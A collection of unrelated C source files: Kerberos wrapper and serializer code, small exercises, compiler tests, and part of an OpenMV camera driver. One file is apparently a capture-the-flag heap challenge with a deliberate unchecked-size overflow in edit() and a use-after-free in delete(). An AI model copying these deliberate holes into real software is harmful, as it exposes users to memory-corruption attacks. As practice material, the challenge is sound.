*etype = ((krb5_auth_context)auth_context)->keyblock->keytype;
*key_len = ((krb5_auth_context)auth_context)->keyblock->keyvalue.length;
memcpy(key_ptr,
((krb5_auth_context)auth_context)->keyblock->keyvalue.data,
*key_len);
return 0;
}
void
bbkk_n_fold(char *dst, size_t dstlen, const char *src, size_t srclen)
{
_krb5_n_fold(src, srclen, dst, dstlen);
}
/*
* other crypto
*/
void
bbkk_generate_random_block(bbkk_context con, void *buf, size_t len)
{
krb5_generate_random_block(buf, len);
}
/*
* principal name
*/
int
bbkk_cmp_principal(bbkk_context con, const char *src, const char *dst)
{
krb5_principal psrc, pdst;
krb5_error_code ret;
int result;
ret = krb5_parse_name(con->context, src, &psrc);
if (ret != 0)
return 1; /* some error message? */
ret = krb5_parse_name(con->context, dst, &pdst);
if (ret != 0) {
krb5_free_principal(con->context, psrc);
return 1; /* some error message? */
}
result = krb5_principal_compare(con->context, psrc, pdst);
krb5_free_principal(con->context, pdst);
krb5_free_principal(con->context, psrc);
return !result;
}
int32_t
bbkk_add_local_realm(bbkk_context con, const char *src, char **dst)
{
krb5_principal princ;
krb5_error_code ret;
ret = krb5_parse_name(con->context, src, &princ);
if (ret != 0)
return ret;
ret = krb5_unparse_name(con->context, princ, dst);
krb5_free_principal(con->context, princ);
return ret;
}
/*
* error code handling
*/
enum bbkk_krb5error
bbkk_map_krb5error(int32_t ecode)
{
switch (ecode) {
case KRB5KRB_AP_ERR_BAD_INTEGRITY:
return BBKK_AP_ERR_BAD_INTEGRITY;
case KRB5KRB_AP_ERR_TKT_EXPIRED:
return BBKK_AP_ERR_TKT_EXPIRED;
case KRB5KRB_AP_ERR_SKEW:
return BBKK_AP_ERR_SKEW;
case KRB5KRB_AP_ERR_NOKEY:
return BBKK_AP_ERR_NOKEY;
case KRB5KRB_AP_ERR_BADKEYVER:
return BBKK_AP_ERR_BADKEYVER;
case KRB5KDC_ERR_NEVER_VALID:
return BBKK_KDC_ERR_NEVER_VALID;
case KRB5_RC_REPLAY: /* Heimdal's rc_store() uses this. */
return BBKK_AP_ERR_REPEAT;
default:
return BBKK_ERR_OTHER;
}
}
const char *
bbkk_get_err_text(bbkk_context con, int32_t ecode)
{
if (con == NULL)
return "Failed in initialization, so no message is available";
else
return krb5_get_error_message(con->context, ecode);
}
/*
* XXX dependent on Heimdal internal.
* This is based on Heimdal-0.6.2.
*/
static krb5_error_code
krb5e_force_get_key(krb5_context context, krb5_auth_context ac,
const krb5_data *inbuf,
krb5_keytab keytab)
{
krb5_ap_req ap_req;
static const krb5_ticket t0;
krb5_ticket *t; /* XXX EncTicketPart is smaller */
krb5_principal server;
krb5_keyblock *keyblock;
krb5_error_code ret;
server = NULL;
keyblock = NULL;
if ((t = (krb5_ticket *)malloc(sizeof(*t))) == NULL) {
krb5_clear_error_message(context);
return ENOMEM;
}
*t = t0;
/* decode AP_REQ */
ret = krb5_decode_ap_req(context, inbuf, &ap_req);
if (ret != 0)
return ret;
/* get keyblock to decode ticket */
#ifdef HEIMDAL_BEFORE_0_7
principalname2krb5_principal(&server,
ap_req.ticket.sname, ap_req.ticket.realm);
#else
_krb5_principalname2krb5_principal(context, &server,
ap_req.ticket.sname, ap_req.ticket.realm);
#endif
if (ap_req.ap_options.use_session_key && ac->keyblock == NULL) {
ret = KRB5KRB_AP_ERR_NOKEY;
krb5_set_error_message(context, ret,
"krb5_rd_req: user to user auth without session key given");
goto fail;
}
if (ac->keyblock == NULL) {
/* get key from keytab */
krb5_keytab_entry entry;
krb5_keytab my_keytab;
int kvno;
if (keytab == NULL) {
krb5_kt_default(context, &my_keytab);
keytab = my_keytab;
} else
my_keytab = NULL;
if (ap_req.ticket.enc_part.kvno != NULL)
kvno = *ap_req.ticket.enc_part.kvno;
else
kvno = 0;
ret = krb5_kt_get_entry(context, keytab, server, kvno,
ap_req.ticket.enc_part.etype,
&entry);
if (ret != 0) {
if (my_keytab != NULL)
krb5_kt_close(context, my_keytab);
goto fail;
}
ret = krb5_copy_keyblock(context, &entry.keyblock, &keyblock);
krb5_kt_free_entry(context, &entry);
if (my_keytab != NULL)
krb5_kt_close(context, my_keytab);
if (ret != 0)
goto fail;
}
/* decrypt ticket */
#if 1
ret = krb5_decrypt_ticket(context, &ap_req.ticket,
ac->keyblock != NULL ? ac->keyblock : keyblock,
&t->ticket, 0);
if (ret != 0)
goto fail;
#else
{
krb5_data plain;
size_t len;
krb5_crypto crypto;
ret = krb5_crypto_init(context,
ac->keyblock != NULL ? ac->keyblock : keyblock,
0, &crypto);
if (ret != 0)
goto fail;
ret = krb5_decrypt_EncryptedData(context, crypto,
KRB5_KU_TICKET, &ap_req.ticket.enc_part, &plain);
krb5_crypto_destroy(context, crypto);
if (ret != 0)
goto fail;
ret = krb5_decode_EncTicketPart(context,
plain.data, plain.length, &t->ticket, &len);
krb5_data_free(&plain);
if (ret != 0)
goto fail;
}
#endif
/* get keyblock from ticket */
if (ac->keyblock != NULL) {
krb5_free_keyblock(context, ac->keyblock);
ac->keyblock = NULL;
}
krb5_copy_keyblock(context, &t->ticket.key, &ac->keyblock);
/* handle authenticator */
#if 1
ret = krb5_auth_con_getauthenticator(context, ac, &ac->authenticator);
if (ret != 0)
goto fail;
#else
{
krb5_data plain;
size_t len;
krb5_crypto crypto;
ret = krb5_crypto_init(context,
ac->keyblock, 0, &crypto);
if (ret != 0)
goto fail;
ret = krb5_decrypt_EncryptedData(context, crypto,
KRB5_KU_AP_REQ_AUTH, &ap_req.authenticator, &plain);
krb5_crypto_destroy(context, crypto);
if (ret != 0)
goto fail;
ret = krb5_decode_Authenticator(context,
plain.data, plain.length, ac->authenticator, &len);
krb5_data_free(&plain);
if (ret != 0)
goto fail;
}
#endif
if (ac->authenticator->seq_number)
krb5_auth_con_setremoteseqnumber(context, ac,
*ac->authenticator->seq_number);
if (ac->authenticator->subkey) {
ret = krb5_auth_con_setremotesubkey(context, ac,
ac->authenticator->subkey);
if (ret != 0)
goto fail;
}
ret = 0;
/* FALLTHROUGH */
fail:
krb5_free_ticket(context, t);
if (keyblock != NULL)
krb5_free_keyblock(context, keyblock);
if (server != NULL)
krb5_free_principal(context, server);
free_AP_REQ(&ap_req);
return ret;
}
#endif
|
the_stack_data/190768487.c | ////
// quick.c - for use with cs270 hw1
// Jon Hanson
////
////
// quickSort(int*,int)
// sorts a passed array with the quick sort method
void quickSort( int *a , int l )
{
int i,temp;
int wall = 0;
int piv = l-1;
for(i=0;i<l-1;i++)
{
if(a[i]<a[piv])
{
temp = a[i];
a[i] = a[wall];
a[wall] = temp;
wall++;
}
}
temp = a[piv];
a[piv] = a[wall];
a[wall] = temp;
if(wall>1)
{
int aLoLen = wall;
int aLo[aLoLen];
for(i=0;i<aLoLen;i++)
aLo[i] = a[i];
quickSort(aLo,aLoLen);
for(i=0;i<aLoLen;i++)
a[i] = aLo[i];
}
if(piv-wall>1)
{
int aHiLen = piv - wall;
int aHi[aHiLen];
for(i=0;i<aHiLen;i++)
aHi[i] = a[wall+1+i];
quickSort(aHi,aHiLen);
for(i=0;i<aHiLen;i++)
a[wall+1+i] = aHi[i];
}
return;
}
|
the_stack_data/93887866.c | /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */
/*
* lib/krb5/krb/ser_eblk.c
*
* Copyright 1995, 2008 by the Massachusetts Institute of Technology.
* All Rights Reserved.
*
* Export of this software from the United States of America may
* require a specific license from the United States Government.
* It is the responsibility of any person or organization contemplating
* export to obtain such a license before exporting.
*
* WITHIN THAT CONSTRAINT, permission to use, copy, modify, and
* distribute this software and its documentation for any purpose and
* without fee is hereby granted, provided that the above copyright
* notice appear in all copies and that both that copyright notice and
* this permission notice appear in supporting documentation, and that
* the name of M.I.T. not be used in advertising or publicity pertaining
* to distribution of the software without specific, written prior
* permission. Furthermore if you modify this software you must label
* your software as modified software and not distribute it in such a
* fashion that it might be confused with the original M.I.T. software.
* M.I.T. makes no representations about the suitability of
* this software for any purpose. It is provided "as is" without express
* or implied warranty.
*
*/
#if 0 /* i don't believe this is used anywhere --marc */
/*
* ser_eblk.c - Serialize a krb5_encblock structure.
*/
#include "k5-int.h"
/*
* Routines to deal with externalizing the krb5_encrypt_block:
* krb5_encrypt_block_size();
* krb5_encrypt_block_externalize();
* krb5_encrypt_block_internalize();
*/
static krb5_error_code krb5_encrypt_block_size
(krb5_context, krb5_pointer, size_t *);
static krb5_error_code krb5_encrypt_block_externalize
(krb5_context, krb5_pointer, krb5_octet **, size_t *);
static krb5_error_code krb5_encrypt_block_internalize
(krb5_context,krb5_pointer *, krb5_octet **, size_t *);
/* Local data */
static const krb5_ser_entry krb5_encrypt_block_ser_entry = {
KV5M_ENCRYPT_BLOCK, /* Type */
krb5_encrypt_block_size, /* Sizer routine */
krb5_encrypt_block_externalize, /* Externalize routine */
krb5_encrypt_block_internalize /* Internalize routine */
};
/*
* krb5_encrypt_block_size() - Determine the size required to externalize
* the krb5_encrypt_block.
*/
static krb5_error_code
krb5_encrypt_block_size(kcontext, arg, sizep)
krb5_context kcontext;
krb5_pointer arg;
size_t *sizep;
{
krb5_error_code kret;
krb5_encrypt_block *encrypt_block;
size_t required;
/*
* NOTE: This ASSuMES that enctype are sufficient to recreate
* the _krb5_cryptosystem_entry. If this is not true, then something else
* had better be encoded here.
*
* krb5_encrypt_block base requirements:
* krb5_int32 for KV5M_ENCRYPT_BLOCK
* krb5_int32 for enctype
* krb5_int32 for private length
* encrypt_block->priv_size for private contents
* krb5_int32 for KV5M_ENCRYPT_BLOCK
*/
kret = EINVAL;
if ((encrypt_block = (krb5_encrypt_block *) arg)) {
required = (sizeof(krb5_int32) +
sizeof(krb5_int32) +
sizeof(krb5_int32) +
sizeof(krb5_int32) +
sizeof(krb5_int32) +
(size_t) encrypt_block->priv_size);
if (encrypt_block->key)
kret = krb5_size_opaque(kcontext,
KV5M_KEYBLOCK,
(krb5_pointer) encrypt_block->key,
&required);
else
kret = 0;
if (!kret)
*sizep += required;
}
return(kret);
}
/*
* krb5_encrypt_block_externalize() - Externalize the krb5_encrypt_block.
*/
static krb5_error_code
krb5_encrypt_block_externalize(kcontext, arg, buffer, lenremain)
krb5_context kcontext;
krb5_pointer arg;
krb5_octet **buffer;
size_t *lenremain;
{
krb5_error_code kret;
krb5_encrypt_block *encrypt_block;
size_t required;
krb5_octet *bp;
size_t remain;
required = 0;
bp = *buffer;
remain = *lenremain;
kret = EINVAL;
if ((encrypt_block = (krb5_encrypt_block *) arg)) {
kret = ENOMEM;
if (!krb5_encrypt_block_size(kcontext, arg, &required) &&
(required <= remain)) {
/* Our identifier */
(void) krb5_ser_pack_int32(KV5M_ENCRYPT_BLOCK, &bp, &remain);
/* Our enctype */
(void) krb5_ser_pack_int32((krb5_int32) encrypt_block->
crypto_entry->proto_enctype,
&bp, &remain);
/* Our length */
(void) krb5_ser_pack_int32((krb5_int32) encrypt_block->priv_size,
&bp, &remain);
/* Our private data */
(void) krb5_ser_pack_bytes(encrypt_block->priv,
(size_t) encrypt_block->priv_size,
&bp, &remain);
/* Finally, the key data */
if (encrypt_block->key)
kret = krb5_externalize_opaque(kcontext,
KV5M_KEYBLOCK,
(krb5_pointer)
encrypt_block->key,
&bp,
&remain);
else
kret = 0;
if (!kret) {
/* Write trailer */
(void) krb5_ser_pack_int32(KV5M_ENCRYPT_BLOCK, &bp, &remain);
*buffer = bp;
*lenremain = remain;
}
}
}
return(kret);
}
/*
* krb5_encrypt_block_internalize() - Internalize the krb5_encrypt_block.
*/
static krb5_error_code
krb5_encrypt_block_internalize(kcontext, argp, buffer, lenremain)
krb5_context kcontext;
krb5_pointer *argp;
krb5_octet **buffer;
size_t *lenremain;
{
krb5_error_code kret;
krb5_encrypt_block *encrypt_block;
krb5_int32 ibuf;
krb5_enctype ktype;
krb5_octet *bp;
size_t remain;
bp = *buffer;
remain = *lenremain;
kret = EINVAL;
/* Read our magic number */
if (krb5_ser_unpack_int32(&ibuf, &bp, &remain))
ibuf = 0;
if (ibuf == KV5M_ENCRYPT_BLOCK) {
kret = ENOMEM;
/* Get an encrypt_block */
if ((remain >= (3*sizeof(krb5_int32))) &&
(encrypt_block = (krb5_encrypt_block *)
calloc(1, sizeof(krb5_encrypt_block)))) {
/* Get the enctype */
(void) krb5_ser_unpack_int32(&ibuf, &bp, &remain);
ktype = (krb5_enctype) ibuf;
/* Use the ktype to determine the crypto_system entry. */
krb5_use_enctype(kcontext, encrypt_block, ktype);
/* Get the length */
(void) krb5_ser_unpack_int32(&ibuf, &bp, &remain);
encrypt_block->priv_size = (int) ibuf;
/* Get the string */
if (!ibuf ||
((encrypt_block->priv = (void *) malloc((size_t) (ibuf))) &&
!(kret = krb5_ser_unpack_bytes((krb5_octet *)
encrypt_block->priv,
(size_t)
encrypt_block->priv_size,
&bp, &remain)))) {
kret = krb5_internalize_opaque(kcontext,
KV5M_KEYBLOCK,
(krb5_pointer *)
&encrypt_block->key,
&bp,
&remain);
if (kret == EINVAL)
kret = 0;
if (!kret) {
kret = krb5_ser_unpack_int32(&ibuf, &bp, &remain);
if (!kret && (ibuf == KV5M_ENCRYPT_BLOCK)) {
*buffer = bp;
*lenremain = remain;
encrypt_block->magic = KV5M_ENCRYPT_BLOCK;
*argp = (krb5_pointer) encrypt_block;
}
else
kret = EINVAL;
}
}
if (kret) {
if (encrypt_block->priv)
free(encrypt_block->priv);
free(encrypt_block);
}
}
}
return(kret);
}
/*
* Register the encblock serializer.
*/
krb5_error_code
krb5_ser_encrypt_block_init(kcontext)
krb5_context kcontext;
{
return(krb5_register_serializer(kcontext, &krb5_encrypt_block_ser_entry));
}
#endif
|
the_stack_data/92324331.c | #include <string.h>
char *strcpy(char *s1, const char *s2) {
char *s = s1;
while ((*s++ = *s2++) != 0);
return (s1);
} |
the_stack_data/1131948.c | #include <stdio.h>
#include <string.h>
int stack[100];
int top=-1;
void push(int i)
{
top++;
stack[top] = i;
}
int pop(){
return stack[top--];
}
int getPos(char arr[], int n, char c){
int i;
for(i = 0;i < n;i++) {
if(arr[i] == c){
return i;
}
}
return -1;
}
int main(){
int states, i, j, final, k, paths, inputNo, pos;
printf("Enter the number of states : ");
scanf("%d",&states);
printf("Enter the number of input symbols : ");
scanf("%d",&inputNo);
char isa[inputNo];
for(i = 0;i < inputNo;i++){
printf("Enter The Symbol : ");
scanf(" %c",&isa[i]);
}
int count[states][inputNo];
int arr[states][inputNo][states];
for(i = 0;i < states;i++){
for(j = 0;j < inputNo;j++){
printf("Enter the number of paths from q%d with %c : ",i,isa[j]);
scanf("%d",&paths);
count[i][j] = paths;
if(paths > 0){
for(k = 0;k < paths;k++){
printf("Enter path:");
scanf("%d",&arr[i][j][k]);
}
}
}
}
printf("Enter the final state : ");
scanf("%d",&final);
char input[100];
printf("Enter the input string : ");
scanf("%s",&input);
int way = 0, ps = 0;
i=0;
while(i<strlen(input)){
pos = getPos(isa, inputNo, input[i]);
if(pos == -1){
printf("Rejected\n");
return 2;
}
if(count[ps][pos] > 0 && way == 0){
push(arr[ps][pos][way]);
}
i++;
pos = getPos(isa, inputNo, input[i]);
ps=arr[ps][pos][way];
if(i == strlen(input)){
if(ps == final){
printf("Accepted\n");
return 0;
}
else{
ps=pop();
way++;
i--;
}
}
}
printf("Rejected\n");
}
|
the_stack_data/126703845.c | int
main()
{
struct S { int x; int y; } s;
struct S *p;
p = &s;
s.x = 1;
p->y = 2;
return p->y + p->x - 3;
}
|
the_stack_data/187643987.c | #include <signal.h>
#include <stdio.h>
main()
{
int i=0;
while(1){ printf("%d\n",i++); }
}
|
the_stack_data/100140353.c | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int read_n(char *buffer, int buf_size) {
int i, result;
for (i = 0; i < buf_size - 1; i++) {
result = (int) read(STDIN_FILENO, buffer + i, 1);
if (result != 1) {
exit(1);
} else if (buffer[i] == '\n') {
break;
}
}
buffer[i] = 0;
return i;
}
int read_int(){
char buffer[32] = {0};
read_n(buffer, 32);
return atoi(buffer);
}
long read_long(){
char buffer[32] = {0};
read_n(buffer, 32);
return atol(buffer);
}
void pwn_init(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
alarm(300);
}
void puts_menu(){
puts("1.add");
puts("2.show");
puts("3.delete");
puts("4.edit");
printf("choice >>");
}
struct node
{
void * nonono;
void * content;
};
char buf[0x220];
void *fake[2];
struct node *note_list[32];
void add(){
int idx;
for (idx=0;note_list[idx]&&idx<32;idx++);
if(idx >= 32){
puts("Not any more !!");
return;
}
printf("size:");
int size;
size = read_int();
if(size < 0 || size > 0x100){
puts("Invalid size!");
return;
}
void * tmp = (void *)malloc(size);
if(!tmp){
puts("Malloc error!");
exit(-1);
}
printf("content:");
read_n(tmp,size);
struct node* n = malloc(sizeof(struct node));
if(!n){
puts("Malloc error!");
exit(-1);
}
n->content = tmp;
note_list[idx] = n;
puts("Add done!");
}
void show(){
int idx;
printf("id:");
idx = read_int();
if(idx < 0||idx > 31||!note_list[idx]){
puts("Invalid id!");
return;
}
printf("Your data:%s\n",note_list[idx]->content);
}
void delete(){
int idx;
printf("id:");
idx = read_int();
if(idx < 0||idx > 31||!note_list[idx]){
puts("Invalid id!");
return;
}
free(note_list[idx]->content);
free(note_list[idx]);
}
void edit(){
int idx;
printf("id:");
idx = read_int();
if(idx < 0||idx > 31||!note_list[idx]){
puts("Invalid id!");
return;
}
printf("size:");
long size;
size = read_long();
printf("content:");
read_n(note_list[idx]->content,size);
}
int main(int argc, char const *argv[])
{
fake[0] = 0;fake[1] = 0x39;
pwn_init();
int op;
while(1){
puts_menu();
op = read_int();
switch(op){
case 1:
add();
break;
case 2:
show();
break;
case 3:
delete();
break;
case 4:
edit();
break;
default:
puts("Invalid Choice !");
return 0;
}
}
return 0;
} |
the_stack_data/50136613.c | // RUN: 3c -alltypes %s -- | FileCheck -match-full-lines --check-prefixes="CHECK" %s
int* foo();
//CHECK: _Array_ptr<int> foo(_Array_ptr<int> r);
void bar(void) {
int *p = 0;
//CHECK: _Array_ptr<int> p = 0;
int *q = foo(p);
//CHECK: _Array_ptr<int> q = foo(p);
q[1] = 0;
}
int* foo(int *r);
//CHECK: _Array_ptr<int> foo(_Array_ptr<int> r);
void baz(int *t) {
//CHECK: void baz(_Array_ptr<int> t) {
foo(t);
}
int* foo(int *r) {
//CHECK: _Array_ptr<int> foo(_Array_ptr<int> r) {
return r;
}
|
the_stack_data/103946.c | int main(){
int j = -10, i = +10;
return j + i;
}
|
the_stack_data/107953002.c | #include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_PATH "/tmp/test_fifo"
#define BUF_SIZE 255
int main(int argc, char *argv[])
{
int fifo_fd = -1;
int fd = -1;
int flag = O_RDONLY;
char buf[BUF_SIZE];
int buf_size = BUF_SIZE;
int cnt = 0;
if (access(FIFO_PATH, F_OK) < 0) {
fifo_fd = mkfifo(FIFO_PATH, 0777);
if (fifo_fd < 0 ) {
perror("mkfifo error\n");
exit(0);
}
}
fd = open(FIFO_PATH, flag);
if (fd < 0 ) {
perror("fifo open error\n");
exit(0);
}
do {
cnt = read(fd, buf, buf_size);
if(cnt > 0) {
printf("read data from fifo: %s\n", buf);
}
} while(cnt > 0);
close(fd);
return 0;
}
|
the_stack_data/122016079.c | #include <stdio.h>
int main()
{
int N, X;
int buffer, i;
scanf("%d%d", &N, &X);
for(i=0; i<N; ++i)
{
scanf("%d", &buffer);
if(buffer<X) printf("%d ", buffer);
}
}
|
the_stack_data/90762896.c | /*
* This file is part of the OpenMV project.
*
* Copyright (c) 2013-2021 Ibrahim Abdelkader <[email protected]>
* Copyright (c) 2013-2021 Kwabena W. Agyeman <[email protected]>
*
* This work is licensed under the MIT license, see the file LICENSE for details.
*
* Sensor abstraction layer for nRF port.
*/
#if MICROPY_PY_SENSOR
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "py/mphal.h"
#include "cambus.h"
#include "sensor.h"
#include "ov2640.h"
#include "ov5640.h"
#include "ov7725.h"
#include "ov7690.h"
#include "ov7670.h"
#include "ov9650.h"
#include "mt9v034.h"
#include "lepton.h"
#include "hm01b0.h"
#include "framebuffer.h"
#include "pico/time.h"
#include "pico/stdlib.h"
#include "hardware/pwm.h"
#include "hardware/pio.h"
#include "hardware/dma.h"
#include "hardware/irq.h"
#include "omv_boardconfig.h"
#include "unaligned_memcpy.h"
#include "dcmi.pio.h"
sensor_t sensor = {0};
extern void __fatal_error(const char *msg);
static void dma_irq_handler();
const int resolution[][2] = {
{0, 0 },
// C/SIF Resolutions
{88, 72 }, /* QQCIF */
{176, 144 }, /* QCIF */
{352, 288 }, /* CIF */
{88, 60 }, /* QQSIF */
{176, 120 }, /* QSIF */
{352, 240 }, /* SIF */
// VGA Resolutions
{40, 30 }, /* QQQQVGA */
{80, 60 }, /* QQQVGA */
{160, 120 }, /* QQVGA */
{320, 240 }, /* QVGA */
{640, 480 }, /* VGA */
{30, 20 }, /* HQQQQVGA */
{60, 40 }, /* HQQQVGA */
{120, 80 }, /* HQQVGA */
{240, 160 }, /* HQVGA */
{480, 320 }, /* HVGA */
// FFT Resolutions
{64, 32 }, /* 64x32 */
{64, 64 }, /* 64x64 */
{128, 64 }, /* 128x64 */
{128, 128 }, /* 128x128 */
// Himax Resolutions
{160, 160 }, /* 160x160 */
{320, 320 }, /* 320x320 */
// Other
{128, 160 }, /* LCD */
{128, 160 }, /* QQVGA2 */
{720, 480 }, /* WVGA */
{752, 480 }, /* WVGA2 */
{800, 600 }, /* SVGA */
{1024, 768 }, /* XGA */
{1280, 768 }, /* WXGA */
{1280, 1024}, /* SXGA */
{1280, 960 }, /* SXGAM */
{1600, 1200}, /* UXGA */
{1280, 720 }, /* HD */
{1920, 1080}, /* FHD */
{2560, 1440}, /* QHD */
{2048, 1536}, /* QXGA */
{2560, 1600}, /* WQXGA */
{2592, 1944}, /* WQXGA2 */
};
static int extclk_config(int frequency)
{
uint32_t p = 4;
// Allocate pin to the PWM
gpio_set_function(DCMI_XCLK_PIN, GPIO_FUNC_PWM);
// Find out which PWM slice is connected to the GPIO
uint slice_num = pwm_gpio_to_slice_num(DCMI_XCLK_PIN);
// Set period to p cycles
pwm_set_wrap(slice_num, p-1);
// Set channel A 50% duty cycle.
pwm_set_chan_level(slice_num, PWM_CHAN_A, p/2);
// Set sysclk divider
// f = 125000000 / (p * (1 + (p/16)))
pwm_set_clkdiv_int_frac(slice_num, 1, p);
// Set the PWM running
pwm_set_enabled(slice_num, true);
return 0;
}
static void dma_config(int w, int h, int bpp, uint32_t *capture_buf, bool rev_bytes)
{
dma_channel_abort(DCMI_DMA_CHANNEL);
dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, false);
dma_channel_config c = dma_channel_get_default_config(DCMI_DMA_CHANNEL);
channel_config_set_read_increment(&c, false);
channel_config_set_write_increment(&c, true);
channel_config_set_dreq(&c, pio_get_dreq(DCMI_PIO, DCMI_SM, false));
channel_config_set_bswap(&c, rev_bytes);
dma_channel_configure(DCMI_DMA_CHANNEL, &c,
capture_buf, // Destinatinon pointer.
&DCMI_PIO->rxf[DCMI_SM], // Source pointer.
(w*h*bpp)>>2, // Number of transfers in words.
true // Start immediately, will block on SM.
);
// Re-enable DMA IRQs.
dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, true);
}
void dcmi_abort()
{
// Disable DMA channel
dma_channel_abort(DCMI_DMA_CHANNEL);
dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, false);
// Disable state machine.
pio_sm_set_enabled(DCMI_PIO, DCMI_SM, false);
pio_sm_clear_fifos(DCMI_PIO, DCMI_SM);
// Clear bpp flag.
MAIN_FB()->bpp = -1;
}
int sensor_init()
{
int init_ret = 0;
// PIXCLK
gpio_init(DCMI_PXCLK_PIN);
gpio_set_dir(DCMI_PXCLK_PIN, GPIO_IN);
// HSYNC
gpio_init(DCMI_HSYNC_PIN);
gpio_set_dir(DCMI_HSYNC_PIN, GPIO_IN);
// VSYNC
gpio_init(DCMI_VSYNC_PIN);
gpio_set_dir(DCMI_VSYNC_PIN, GPIO_IN);
#if defined(DCMI_PWDN_PIN)
gpio_init(DCMI_PWDN_PIN);
gpio_set_dir(DCMI_PWDN_PIN, GPIO_OUT);
gpio_pull_down(DCMI_PWDN_PIN);
DCMI_PWDN_HIGH();
#endif
#if defined(DCMI_RESET_PIN)
gpio_init(DCMI_RESET_PIN);
gpio_set_dir(DCMI_RESET_PIN, GPIO_OUT);
gpio_pull_up(DCMI_RESET_PIN);
DCMI_RESET_HIGH();
#endif
/* Do a power cycle */
DCMI_PWDN_HIGH();
mp_hal_delay_ms(10);
DCMI_PWDN_LOW();
mp_hal_delay_ms(10);
// Configure the sensor external clock (XCLK) to XCLK_FREQ.
#if (OMV_XCLK_SOURCE == OMV_XCLK_TIM)
// Configure external clock timer.
if (extclk_config(OMV_XCLK_FREQUENCY) != 0) {
// Timer problem
return -1;
}
#elif (OMV_XCLK_SOURCE == OMV_XCLK_OSC)
// An external oscillator is used for the sensor clock.
// Nothing to do.
#else
#error "OMV_XCLK_SOURCE is not set!"
#endif
/* Reset the sesnor state */
memset(&sensor, 0, sizeof(sensor_t));
/* Some sensors have different reset polarities, and we can't know which sensor
is connected before initializing cambus and probing the sensor, which in turn
requires pulling the sensor out of the reset state. So we try to probe the
sensor with both polarities to determine line state. */
sensor.pwdn_pol = ACTIVE_HIGH;
sensor.reset_pol = ACTIVE_HIGH;
/* Reset the sensor */
DCMI_RESET_HIGH();
mp_hal_delay_ms(10);
DCMI_RESET_LOW();
mp_hal_delay_ms(10);
// Initialize the camera bus.
cambus_init(&sensor.bus, ISC_I2C_ID, ISC_I2C_SPEED);
mp_hal_delay_ms(10);
/* Probe the sensor */
sensor.slv_addr = cambus_scan(&sensor.bus);
if (sensor.slv_addr == 0) {
/* Sensor has been held in reset,
so the reset line is active low */
sensor.reset_pol = ACTIVE_LOW;
/* Pull the sensor out of the reset state */
DCMI_RESET_HIGH();
mp_hal_delay_ms(10);
/* Probe again to set the slave addr */
sensor.slv_addr = cambus_scan(&sensor.bus);
if (sensor.slv_addr == 0) {
sensor.pwdn_pol = ACTIVE_LOW;
DCMI_PWDN_HIGH();
mp_hal_delay_ms(10);
sensor.slv_addr = cambus_scan(&sensor.bus);
if (sensor.slv_addr == 0) {
sensor.reset_pol = ACTIVE_HIGH;
DCMI_RESET_LOW();
mp_hal_delay_ms(10);
sensor.slv_addr = cambus_scan(&sensor.bus);
if (sensor.slv_addr == 0) {
return -2;
}
}
}
}
// Clear sensor chip ID.
sensor.chip_id = 0;
// Set default snapshot function.
sensor.snapshot = sensor_snapshot;
switch (sensor.slv_addr) {
#if (OMV_ENABLE_OV2640 == 1)
case OV2640_SLV_ADDR: // Or OV9650.
cambus_readb(&sensor.bus, sensor.slv_addr, OV_CHIP_ID, &sensor.chip_id);
break;
#endif // (OMV_ENABLE_OV2640 == 1)
#if (OMV_ENABLE_OV5640 == 1)
case OV5640_SLV_ADDR:
cambus_readb2(&sensor.bus, sensor.slv_addr, OV5640_CHIP_ID, &sensor.chip_id);
break;
#endif // (OMV_ENABLE_OV5640 == 1)
#if (OMV_ENABLE_OV7725 == 1) || (OMV_ENABLE_OV7670 == 1) || (OMV_ENABLE_OV7690 == 1)
case OV7725_SLV_ADDR: // Or OV7690 or OV7670.
cambus_readb(&sensor.bus, sensor.slv_addr, OV_CHIP_ID, &sensor.chip_id);
break;
#endif //(OMV_ENABLE_OV7725 == 1) || (OMV_ENABLE_OV7670 == 1) || (OMV_ENABLE_OV7690 == 1)
#if (OMV_ENABLE_MT9V034 == 1)
case MT9V034_SLV_ADDR:
cambus_readb(&sensor.bus, sensor.slv_addr, ON_CHIP_ID, &sensor.chip_id);
break;
#endif //(OMV_ENABLE_MT9V034 == 1)
#if (OMV_ENABLE_MT9M114 == 1)
case MT9M114_SLV_ADDR:
cambus_readw2(&sensor.bus, sensor.slv_addr, ON_CHIP_ID, &sensor.chip_id_w);
break;
#endif // (OMV_ENABLE_MT9M114 == 1)
#if (OMV_ENABLE_LEPTON == 1)
case LEPTON_SLV_ADDR:
sensor.chip_id = LEPTON_ID;
break;
#endif // (OMV_ENABLE_LEPTON == 1)
#if (OMV_ENABLE_HM01B0 == 1)
case HM01B0_SLV_ADDR:
cambus_readb2(&sensor.bus, sensor.slv_addr, HIMAX_CHIP_ID, &sensor.chip_id);
break;
#endif //(OMV_ENABLE_HM01B0 == 1)
default:
return -3;
break;
}
switch (sensor.chip_id) {
#if (OMV_ENABLE_OV2640 == 1)
case OV2640_ID:
if (extclk_config(OV2640_XCLK_FREQ) != 0) {
return -3;
}
init_ret = ov2640_init(&sensor);
break;
#endif // (OMV_ENABLE_OV2640 == 1)
#if (OMV_ENABLE_OV5640 == 1)
case OV5640_ID:
if (extclk_config(OV5640_XCLK_FREQ) != 0) {
return -3;
}
init_ret = ov5640_init(&sensor);
break;
#endif // (OMV_ENABLE_OV5640 == 1)
#if (OMV_ENABLE_OV7670 == 1)
case OV7670_ID:
init_ret = ov7670_init(&sensor);
break;
#endif // (OMV_ENABLE_OV7670 == 1)
#if (OMV_ENABLE_OV7690 == 1)
case OV7690_ID:
if (extclk_config(OV7690_XCLK_FREQ) != 0) {
return -3;
}
init_ret = ov7690_init(&sensor);
break;
#endif // (OMV_ENABLE_OV7690 == 1)
#if (OMV_ENABLE_OV7725 == 1)
case OV7725_ID:
init_ret = ov7725_init(&sensor);
break;
#endif // (OMV_ENABLE_OV7725 == 1)
#if (OMV_ENABLE_OV9650 == 1)
case OV9650_ID:
